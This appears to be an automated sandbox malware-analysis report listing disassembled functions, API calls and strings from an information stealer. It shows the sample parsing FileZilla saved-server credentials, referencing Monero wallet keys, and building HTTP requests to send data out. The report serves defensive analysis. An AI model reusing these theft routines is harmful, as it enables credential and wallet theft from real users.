GetProcAddress.KERNEL32(76050000,01937548), ref: 00DAA3E4
GetProcAddress.KERNEL32(76050000,0194D478), ref: 00DAA3FC
GetProcAddress.KERNEL32(76050000,0194D4C0), ref: 00DAA414
GetProcAddress.KERNEL32(76A70000,019371E8), ref: 00DAA436
GetProcAddress.KERNEL32(76A70000,0194D598), ref: 00DAA44E
GetProcAddress.KERNEL32(76A70000,0194D5F8), ref: 00DAA466
GetProcAddress.KERNEL32(76A70000,0194D628), ref: 00DAA47F
GetProcAddress.KERNEL32(76A70000,0194D640), ref: 00DAA497
GetProcAddress.KERNEL32(76B70000,01937368), ref: 00DAA4B8
GetProcAddress.KERNEL32(76B70000,01937228), ref: 00DAA4D1
GetProcAddress.KERNEL32(74EA0000,019372E8), ref: 00DAA4F2
GetProcAddress.KERNEL32(74EA0000,0194D688), ref: 00DAA50A
GetProcAddress.KERNEL32(6F070000,01937568), ref: 00DAA530
GetProcAddress.KERNEL32(6F070000,01937468), ref: 00DAA548
GetProcAddress.KERNEL32(6F070000,019372C8), ref: 00DAA560
GetProcAddress.KERNEL32(6F070000,0194D700), ref: 00DAA579
GetProcAddress.KERNEL32(6F070000,01937248), ref: 00DAA591
GetProcAddress.KERNEL32(6F070000,01937588), ref: 00DAA5A9
GetProcAddress.KERNEL32(6F070000,01937488), ref: 00DAA5C2
GetProcAddress.KERNEL32(6F070000,019374A8), ref: 00DAA5DA
GetProcAddress.KERNEL32(6F070000,InternetSetOptionA), ref: 00DAA5F1
GetProcAddress.KERNEL32(6F070000,HttpQueryInfoA), ref: 00DAA607
GetProcAddress.KERNEL32(76460000,0194D790), ref: 00DAA629
GetProcAddress.KERNEL32(76460000,01949500), ref: 00DAA641
GetProcAddress.KERNEL32(76460000,0194D7F0), ref: 00DAA659
GetProcAddress.KERNEL32(76460000,0194D808), ref: 00DAA672
GetProcAddress.KERNEL32(76E80000,01937288), ref: 00DAA693
GetProcAddress.KERNEL32(6F9B0000,0194D820), ref: 00DAA6B4
GetProcAddress.KERNEL32(6F9B0000,019374E8), ref: 00DAA6CD
GetProcAddress.KERNEL32(6F9B0000,0194D988), ref: 00DAA6E5
GetProcAddress.KERNEL32(6F9B0000,0194DA00), ref: 00DAA6FD

Strings

HttpQueryInfoA, xrefs: 00DAA5FC
InternetSetOptionA, xrefs: 00DAA5E5

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 07492a456292b3eb868947d1b9649ad9d99398ea3e947a11ff6f173b5e6f2ad8
Instruction ID: 78595bbc00a2a0184226e1cdcfb81f65d5b7781fefe0701319b5295c4490b76a
Opcode Fuzzy Hash: 07492a456292b3eb868947d1b9649ad9d99398ea3e947a11ff6f173b5e6f2ad8
Instruction Fuzzy Hash: FE622BB6602249AFC744DFB8ED8895637FBF74C301714851BAA09C3264D73A9941FF2A

Function 00D97710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00D97724
RtlAllocateHeap.NTDLL(00000000), ref: 00D9772B
lstrcat.KERNEL32(?,0194A490), ref: 00D978DB
lstrcat.KERNEL32(?,?), ref: 00D978EF
lstrcat.KERNEL32(?,?), ref: 00D97903
lstrcat.KERNEL32(?,?), ref: 00D97917
lstrcat.KERNEL32(?,0194EC08), ref: 00D9792B
lstrcat.KERNEL32(?,0194EAB8), ref: 00D9793F
lstrcat.KERNEL32(?,0194EB90), ref: 00D97952
lstrcat.KERNEL32(?,0194EAD0), ref: 00D97966
lstrcat.KERNEL32(?,01933AC8), ref: 00D9797A
lstrcat.KERNEL32(?,?), ref: 00D9798E
lstrcat.KERNEL32(?,?), ref: 00D979A2
lstrcat.KERNEL32(?,?), ref: 00D979B6
lstrcat.KERNEL32(?,0194EC08), ref: 00D979C9
lstrcat.KERNEL32(?,0194EAB8), ref: 00D979DD
lstrcat.KERNEL32(?,0194EB90), ref: 00D979F1
lstrcat.KERNEL32(?,0194EAD0), ref: 00D97A04
lstrcat.KERNEL32(?,01933A60), ref: 00D97A18
lstrcat.KERNEL32(?,?), ref: 00D97A2C
lstrcat.KERNEL32(?,?), ref: 00D97A40
lstrcat.KERNEL32(?,?), ref: 00D97A54
lstrcat.KERNEL32(?,0194EC08), ref: 00D97A68
lstrcat.KERNEL32(?,0194EAB8), ref: 00D97A7B
lstrcat.KERNEL32(?,0194EB90), ref: 00D97A8F
lstrcat.KERNEL32(?,0194EAD0), ref: 00D97AA3
lstrcat.KERNEL32(?,01933DA0), ref: 00D97AB6
lstrcat.KERNEL32(?,?), ref: 00D97ACA
lstrcat.KERNEL32(?,?), ref: 00D97ADE
lstrcat.KERNEL32(?,?), ref: 00D97AF2
lstrcat.KERNEL32(?,0194EC08), ref: 00D97B06
lstrcat.KERNEL32(?,0194EAB8), ref: 00D97B1A
lstrcat.KERNEL32(?,0194EB90), ref: 00D97B2D
lstrcat.KERNEL32(?,0194EAD0), ref: 00D97B41
lstrcat.KERNEL32(?,01933C68), ref: 00D97B55
lstrcat.KERNEL32(?,?), ref: 00D97B69
lstrcat.KERNEL32(?,?), ref: 00D97B7D
lstrcat.KERNEL32(?,?), ref: 00D97B91
lstrcat.KERNEL32(?,0194EC08), ref: 00D97BA4
lstrcat.KERNEL32(?,0194EAB8), ref: 00D97BB8
lstrcat.KERNEL32(?,0194EB90), ref: 00D97BCC
lstrcat.KERNEL32(?,0194EAD0), ref: 00D97BDF
lstrcat.KERNEL32(?,01933ED8), ref: 00D97BF3
lstrcat.KERNEL32(?,?), ref: 00D97C07
lstrcat.KERNEL32(?,?), ref: 00D97C1B
lstrcat.KERNEL32(?,?), ref: 00D97C2F
lstrcat.KERNEL32(?,0194EC08), ref: 00D97C43
lstrcat.KERNEL32(?,0194EAB8), ref: 00D97C56
lstrcat.KERNEL32(?,0194EB90), ref: 00D97C6A
lstrcat.KERNEL32(?,0194EAD0), ref: 00D97C7E

Part of subcall function 00D975D0: lstrcat.KERNEL32(35ED6020,00DB17FC), ref: 00D97606
Part of subcall function 00D975D0: lstrcat.KERNEL32(35ED6020,00000000), ref: 00D97648
Part of subcall function 00D975D0: lstrcat.KERNEL32(35ED6020, : ), ref: 00D9765A
Part of subcall function 00D975D0: lstrcat.KERNEL32(35ED6020,00000000), ref: 00D9768F
Part of subcall function 00D975D0: lstrcat.KERNEL32(35ED6020,00DB1804), ref: 00D976A0
Part of subcall function 00D975D0: lstrcat.KERNEL32(35ED6020,00000000), ref: 00D976D3
Part of subcall function 00D975D0: lstrcat.KERNEL32(35ED6020,00DB1808), ref: 00D976ED
Part of subcall function 00D975D0: task.LIBCPMTD ref: 00D976FB

lstrcat.KERNEL32(?,0194F050), ref: 00D97E0B
lstrcat.KERNEL32(?,0194E420), ref: 00D97E1E
lstrlen.KERNEL32(35ED6020), ref: 00D97E2B
lstrlen.KERNEL32(35ED6020), ref: 00D97E3B

Part of subcall function 00DAA740: lstrcpy.KERNEL32(00DB0E17,00000000), ref: 00DAA788

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: f87555a5821e60fa0db357160d0b1c8e92d4aecf33195f994f76deac4dc34988
Instruction ID: fd581bc59a5e21ca0284d5a3c8ffd4142c839ed331f35b1314fbe04a404e30bc
Opcode Fuzzy Hash: f87555a5821e60fa0db357160d0b1c8e92d4aecf33195f994f76deac4dc34988
Instruction Fuzzy Hash: 2E323FB2C10358ABCB15EBB0DC85DEA737DBB44700F044A89F61962090EE74E785EF65

Function 00DA0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00DAA740: lstrcpy.KERNEL32(00DB0E17,00000000), ref: 00DAA788

Part of subcall function 00DA8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00DA8E0B

Part of subcall function 00DAA920: lstrcpy.KERNEL32(00000000,?), ref: 00DAA972
Part of subcall function 00DAA920: lstrcat.KERNEL32(00000000), ref: 00DAA982

Part of subcall function 00DAA8A0: lstrcpy.KERNEL32(?,00DB0E17), ref: 00DAA905

Part of subcall function 00DAA9B0: lstrlen.KERNEL32(?,019497D0,?,\Monero\wallet.keys,00DB0E17), ref: 00DAA9C5
Part of subcall function 00DAA9B0: lstrcpy.KERNEL32(00000000), ref: 00DAAA04
Part of subcall function 00DAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DAAA12

Part of subcall function 00DAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DAA7E6

Part of subcall function 00D999C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00D999EC
Part of subcall function 00D999C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00D99A11
Part of subcall function 00D999C0: LocalAlloc.KERNEL32(00000040,?), ref: 00D99A31
Part of subcall function 00D999C0: ReadFile.KERNEL32(000000FF,?,00000000,00D9148F,00000000), ref: 00D99A5A
Part of subcall function 00D999C0: LocalFree.KERNEL32(00D9148F), ref: 00D99A90
Part of subcall function 00D999C0: CloseHandle.KERNEL32(000000FF), ref: 00D99A9A

Part of subcall function 00DA8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00DA8E52

GetProcessHeap.KERNEL32(00000000,000F423F,00DB0DBA,00DB0DB7,00DB0DB6,00DB0DB3), ref: 00DA0362
RtlAllocateHeap.NTDLL(00000000), ref: 00DA0369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00DA0385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00DB0DB2), ref: 00DA0393
StrStrA.SHLWAPI(00000000,<Port>), ref: 00DA03CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00DB0DB2), ref: 00DA03DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00DA0419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00DB0DB2), ref: 00DA0427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00DA0463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00DB0DB2), ref: 00DA0475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00DB0DB2), ref: 00DA0502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00DB0DB2), ref: 00DA051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00DB0DB2), ref: 00DA0532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00DB0DB2), ref: 00DA054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00DA0562
lstrcat.KERNEL32(?,profile: null), ref: 00DA0571
lstrcat.KERNEL32(?,url: ), ref: 00DA0580
lstrcat.KERNEL32(?,00000000), ref: 00DA0593
lstrcat.KERNEL32(?,00DB1678), ref: 00DA05A2
lstrcat.KERNEL32(?,00000000), ref: 00DA05B5
lstrcat.KERNEL32(?,00DB167C), ref: 00DA05C4
lstrcat.KERNEL32(?,login: ), ref: 00DA05D3
lstrcat.KERNEL32(?,00000000), ref: 00DA05E6
lstrcat.KERNEL32(?,00DB1688), ref: 00DA05F5
lstrcat.KERNEL32(?,password: ), ref: 00DA0604
lstrcat.KERNEL32(?,00000000), ref: 00DA0617
lstrcat.KERNEL32(?,00DB1698), ref: 00DA0626
lstrcat.KERNEL32(?,00DB169C), ref: 00DA0635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00DB0DB2), ref: 00DA068E

Strings

<Host>, xrefs: 00DA037C
<Port>, xrefs: 00DA03C6
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00DA02A4
login: , xrefs: 00DA05CA
<User>, xrefs: 00DA0410
url: , xrefs: 00DA0577
password: , xrefs: 00DA05FB
<Pass encoding="base64">, xrefs: 00DA045A
browser: FileZilla, xrefs: 00DA0559
profile: null, xrefs: 00DA0568

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: e2b8dd31adbfb5696807c3416d5b86774150423562e0eec56e55beb30ebc730b
Instruction ID: f029fed14866dfd16bee0cd3cec3ff866f502b1ed7ff625373adcc7ba5ed599d
Opcode Fuzzy Hash: e2b8dd31adbfb5696807c3416d5b86774150423562e0eec56e55beb30ebc730b
Instruction Fuzzy Hash: E3D13C72900208ABCB44EBF4DD96EEE7779EF19300F544519F503A6091EF34AA0ADB76

Function 00D95100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00DAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DAA7E6

Part of subcall function 00D947B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00D94839
Part of subcall function 00D947B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00D94849

lstrlen.KERNEL32(00000000), ref: 00D95193

Part of subcall function 00DA8EA0: CryptBinaryToStringA.CRYPT32(00000000,00D95184,40000001,00000000,00000000,?,00D95184), ref: 00DA8EC0

Part of subcall function 00DAA740: lstrcpy.KERNEL32(00DB0E17,00000000), ref: 00DAA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00D95207
StrCmpCA.SHLWAPI(?,0194EED0), ref: 00D95225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00D95340
HttpOpenRequestA.WININET(00000000,0194EEE0,?,0194E4A0,00000000,00000000,00400100,00000000), ref: 00D953A4

Part of subcall function 00DAA9B0: lstrlen.KERNEL32(?,019497D0,?,\Monero\wallet.keys,00DB0E17), ref: 00DAA9C5
Part of subcall function 00DAA9B0: lstrcpy.KERNEL32(00000000), ref: 00DAAA04
Part of subcall function 00DAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DAAA12

Part of subcall function 00DAA8A0: lstrcpy.KERNEL32(?,00DB0E17), ref: 00DAA905

Part of subcall function 00DAA920: lstrcpy.KERNEL32(00000000,?), ref: 00DAA972
Part of subcall function 00DAA920: lstrcat.KERNEL32(00000000), ref: 00DAA982

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,0194EF70,00000000,?,0194AF10,00000000,?,00DB19DC,00000000,?,00DA51CF), ref: 00D95737
lstrlen.KERNEL32(00000000), ref: 00D9574B
GetProcessHeap.KERNEL32(00000000,?), ref: 00D9575C
RtlAllocateHeap.NTDLL(00000000), ref: 00D95763
lstrlen.KERNEL32(00000000), ref: 00D95778
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00D957A9
lstrlen.KERNEL32(00000000), ref: 00D957C8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00D957E1
lstrlen.KERNEL32(00000000,?,?), ref: 00D9580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00D95822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00D9584D
InternetCloseHandle.WININET(00000000), ref: 00D958B1
InternetCloseHandle.WININET(00000000), ref: 00D958BE
InternetCloseHandle.WININET(00000000), ref: 00D958C8

Strings

------, xrefs: 00D953B7
------, xrefs: 00D9563B
", xrefs: 00D955C4
", xrefs: 00D95482
", xrefs: 00D95706
------, xrefs: 00D954F9
------, xrefs: 00D95297
--, xrefs: 00D95280

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 1224485577-2774362122
Opcode ID: 342090568cb219cf1939d9fb89d54a84b6d350165db4ebbce279d7c351f31dee
Instruction ID: f2b464f5567e1dd7b678702099404fd7c6e0df953fbf85594266fdada796b1c6
Opcode Fuzzy Hash: 342090568cb219cf1939d9fb89d54a84b6d350165db4ebbce279d7c351f31dee
Instruction Fuzzy Hash: 47321B72920128ABDB55EBA4DC91FEEB378FF55700F404299B10762092EF346A49CF76

Function 00D9A790 Relevance: 39.0, APIs: 21, Strings: 1, Instructions: 539
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00DAAA70: StrCmpCA.SHLWAPI(019496C0,00D9A7A7,?,00D9A7A7,019496C0), ref: 00DAAA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00D9AAC8
RtlAllocateHeap.NTDLL(00000000), ref: 00D9AACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 00D9ABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00D9A8B0

Part of subcall function 00DAA820: lstrlen.KERNEL32(00D94F05,?,?,00D94F05,00DB0DDE), ref: 00DAA82B
Part of subcall function 00DAA820: lstrcpy.KERNEL32(00DB0DDE,00000000), ref: 00DAA885

Part of subcall function 00DAA9B0: lstrlen.KERNEL32(?,019497D0,?,\Monero\wallet.keys,00DB0E17), ref: 00DAA9C5
Part of subcall function 00DAA9B0: lstrcpy.KERNEL32(00000000), ref: 00DAAA04
Part of subcall function 00DAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DAAA12

Part of subcall function 00DAA8A0: lstrcpy.KERNEL32(?,00DB0E17), ref: 00DAA905

lstrcat.KERNEL32(?,00000000), ref: 00D9ACEB
lstrcat.KERNEL32(?,00DB1320), ref: 00D9ACFA
lstrcat.KERNEL32(?,00000000), ref: 00D9AD0D
lstrcat.KERNEL32(?,00DB1324), ref: 00D9AD1C
lstrcat.KERNEL32(?,00000000), ref: 00D9AD2F
lstrcat.KERNEL32(?,00DB1328), ref: 00D9AD3E
lstrcat.KERNEL32(?,00000000), ref: 00D9AD51
lstrcat.KERNEL32(?,00DB132C), ref: 00D9AD60
lstrcat.KERNEL32(?,00000000), ref: 00D9AD73
lstrcat.KERNEL32(?,00DB1330), ref: 00D9AD82
lstrcat.KERNEL32(?,00000000), ref: 00D9AD95
lstrcat.KERNEL32(?,00DB1334), ref: 00D9ADA4
lstrcat.KERNEL32(?,00000000), ref: 00D9ADB7
